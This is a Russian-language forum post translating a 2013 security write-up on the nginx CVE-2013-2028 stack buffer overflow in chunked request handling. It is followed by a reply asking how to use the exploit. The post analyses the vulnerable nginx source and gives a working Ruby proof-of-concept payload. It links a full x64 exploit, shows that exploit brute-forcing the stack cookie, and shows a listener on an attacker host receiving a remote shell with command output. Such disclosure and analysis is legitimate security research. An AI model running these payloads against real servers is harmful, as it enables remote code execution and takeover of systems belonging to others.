Новости из Блогов Анализ переполнения буфера в nginx 1.3.9/1.4.0 и эксплуатация в режиме x64

Discussion in 'Мировые новости. Обсуждения.' started by VY_CMa, 1 Jun 2013.

  1. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Спустя несколько дней после релиза nginx (CVE-2013-2028), нам удалось успешно проэксплуатировать уязвимость для получения полного контроля над выполнением хода программы. Также мы нашли еще несколько путей похожих на векторы атак. Поскольку эксплоит для 32-битного nginx доступен в Metasploit, мы решили опубликовать несколько наших наработок. В данном посте будет рассмотрен анализ уязвимости а также эксплуатация для 64 разрядных систем.

    Ошибка
    В патче на nginx.org есть 3 различных компонента, которые позволяют производить переполнение.

    1) Расчёт "chunked size", когда кто-то посылает запрос http с заголовком: "Transfer-Encoding: chunked". За обработку отвечает: src/http/ngx_http_parse.c:2011

    Code:
    if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
      break;
    }
    c = (u_char) (ch | 0x20);
    if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
      break;
    }
    
    Это простой разбор блока, а также конвертация из шестнадцатеричной системы в десятичную. С этого места ctx->size определяет size_t, unsigned типом, значение переменной может быть отрицательным числом, когда производится перевод в знакозависимый тип. Рассмотрим это позже.


    2) Nginx модуль для обработки статического файла:

    Когда nginx устанавливает статический файл (что происходит по умолчанию) в дело вступит ngx_http_static_handler (src/http/modules/ngx_http_static_module.c:49)

    ngx_http_static_handler вызовет ngx_http_discard_request_body в src/http/modules/ngx_http_static_module.c:211.

    ngx_http_discard_request_body вызовет ngx_http_read_discarded_request_body в src/http/ngx_http_request_body.c:526.

    Общий вид вызовов такой:
    Code:
    ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body
    ngx_http_read_discarded_request_body - самое интересное место, мы видим, что буфер с постоянным размером определяется в src/http/ngx_http_request_body.c:630 следующим образом:

    Code:
    static ngx_int_t
    ngx_http_read_discarded_request_body(ngx_http_request_t *r)
    {
        size_t     size;
        ssize_t    n;
        ngx_int_t  rc;
        ngx_buf_t  b;
        u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
    NGX_HTTP_DISCARD_BUFFER_SIZE установлен в 4096 в файле src/http/ngx_http_request.h:19

    Также интересный момент в том, как заполняется этот буфер src/http/ngx_http_request_body.c:649 позднее мы это будем использовать.

    Code:
    size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
    n = r->connection->recv(r->connection, buffer, size);
    3) Изменение состояний, при разборе http запроса

    Возвращаясь в src/http/ngx_http_request_body.c, перед вызовом ngx_http_read_discarded_request_body, nginx производит проверку на существование типа запроса "chunked". Это происходит ngx_http_discard_request_body_filter определённым в src/http/ngx_http_request_body.c:680.

    ngx_http_discard_request_body_filter запустит ngx_http_parse_chunked, который был упомянутым в 1 пунтке. После этого возвращенное значение в "rc" проверено с некоторой константой.


    Code:
    if (rc == NGX_AGAIN) {
         /* set amount of data we want to see next time */
         r->headers_in.content_length_n = rb->chunked->length;
         break;
    }
    Предположим, что возможна установка rb->chunked->length как очень большое число, тогда rc станет NGX_AGAIN. После чего произойдут некоторые события:

    - r->headers_in.content_length_n станет в отрицательным (поскольку он определен с `off_t`, который является знакозависимым типом).

    - Функция ngx_http_discard_request_body_filter возвращает программу для исполнения ngx_http_read_discarded_request_body в которой находится наш уязвимый буфер.

    - Наконец recv () получит больше чем 4096 байтов и произойдет переполнение буфера на стеке.

    Есть несколько способов установить chunked->length, отсюда rb->chunked->length, длина назначена в конце функции ngx_http_parse_chunked. Отсюда имеем полный контроль над rb->chunked->size

    Code:
    switch (state) {
    case sw_chunk_start:
    	ctx->length = 3 /* "0" LF LF */;
    break;
    	case sw_chunk_size:
    ctx->length = 2 /* LF LF */
                  + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
    
    Установив rc = NGX_AGAIN, мы понимаем, что для запроса nginx создает первый recv равный 1024 байта и если мы пошлем больше чем 1024 байта ngx_http_parse_chunked, возвратится в NGX_AGAIN, когда nginx попробует обратится к recv снова, произведем установку.

    Полезные нагрузки для переполнения буфера:
    - Отправить http запрос с "transfer-encoding: chunked".
    - Отправить большое шестнадцатеричное число, чтобы заполнить все 1024 байта.
    - Отправить более 4096 байт, чтобы переполнить буфер, когда recv будет выполнен во второй раз.

    TL;DR? Концепция для x64
    Code:
    require 'ronin'
    tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
        payload = ["GET / HTTP/1.1\r\n",
                "Host: 1337.vnsecurity.net\r\n",
                "Accept: */*\r\n",
                "Transfer-Encoding: chunked\r\n\r\n"].join
        payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
        payload << "A"*(4096+8) #padding
        payload << "C"*8 #cookie
        s.send(payload, 0)
    }
    
    Вывод strace
    Code:
     strace -p 11337 -s 5000 2>&1 | grep recv
    recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
    recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112
    Эксплуатация в x64
    Проблема стека cookie/carnary может быть преодолена брутфорсом байт. До тех пор пока мы не получим какой либо вывод, будем пробовать увеличивать значение кукисов.

    Следующим шаго нужно обойти ASLR и DEP. Принцип 32-разрядной системы не подойдет, поскольку слишком большое адресное пространство.

    Мы даем эксплоит только для бинарнника, тоесть мы собираем ROP гаджет из двоичности. Адрес mprotect вычисляется от адреса mmap64 (в GOT-table), тогда можно выделяем writable-executable фрагментируемую память.
    Только тогда можно использовать ROP для копирования шеллкода и попытаться выполнить его.

    TL;DR полный код эксплоита можно взять тут: https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb

    Code:
    ruby exp-nginx.rb 1.2.3.4 4321
    [+] searching for byte: 1
    214
    [+] searching for byte: 2
    102
    [+] searching for byte: 3
    232
    [+] searching for byte: 4
    213
    [+] searching for byte: 5
    103
    [+] searching for byte: 6
    151
    [+] searching for byte: 7
    45
    Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
    PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
    1120 connections
    
    В w.w.w.w
    Code:
    nc -lvvv 4000
    Connection from 1.2.3.4 port 4000 [tcp/*] accepted
    uname -a
    Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
    id
    uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
    ps aux | grep nginx
    ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
    ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
    ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
    ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
    Проверка надёжности
    Есть некоторые причины, из-за которых описаные методы возможно не сработают:

    1) Nginx не использует блокировку recv(). Если мы не можем послать достаточно много даннх в короткий срок, чтобы переписать обратный адрес / кукисы, эксплоит не отработает. Причиной этому является наличие других пользователей обращающихся к серверу.

    2) Наш анализ распространяется толлько на дефолтные настройки nginx. В боевых условиях возможны различия конфигураций.

    3) Слепое нападение является трудным без знания двух вещей: разрядности и ОС на сервере. Для 32 разрядной системы возможен брутфорс, но возможны проблемы с записью.

    При написании этого сообщения, мы фактически нашли другой вектор нападения, который более надежен и опробован на нескольких настройках nginx. Однако, об этом будет в следующем сообщении.

    Автор: w00d // перевод VY_CMa
    Дата: 21 мая 2013
    http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/​
     
    _________________________
    #1 VY_CMa, 1 Jun 2013
    Last edited: 1 Jun 2013
  2. Venera

    Venera New Member

    Joined:
    13 Aug 2015
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте,
    Очень интересная статья.
    Подскажите пожалуйста как использовать exploit?
     
Loading...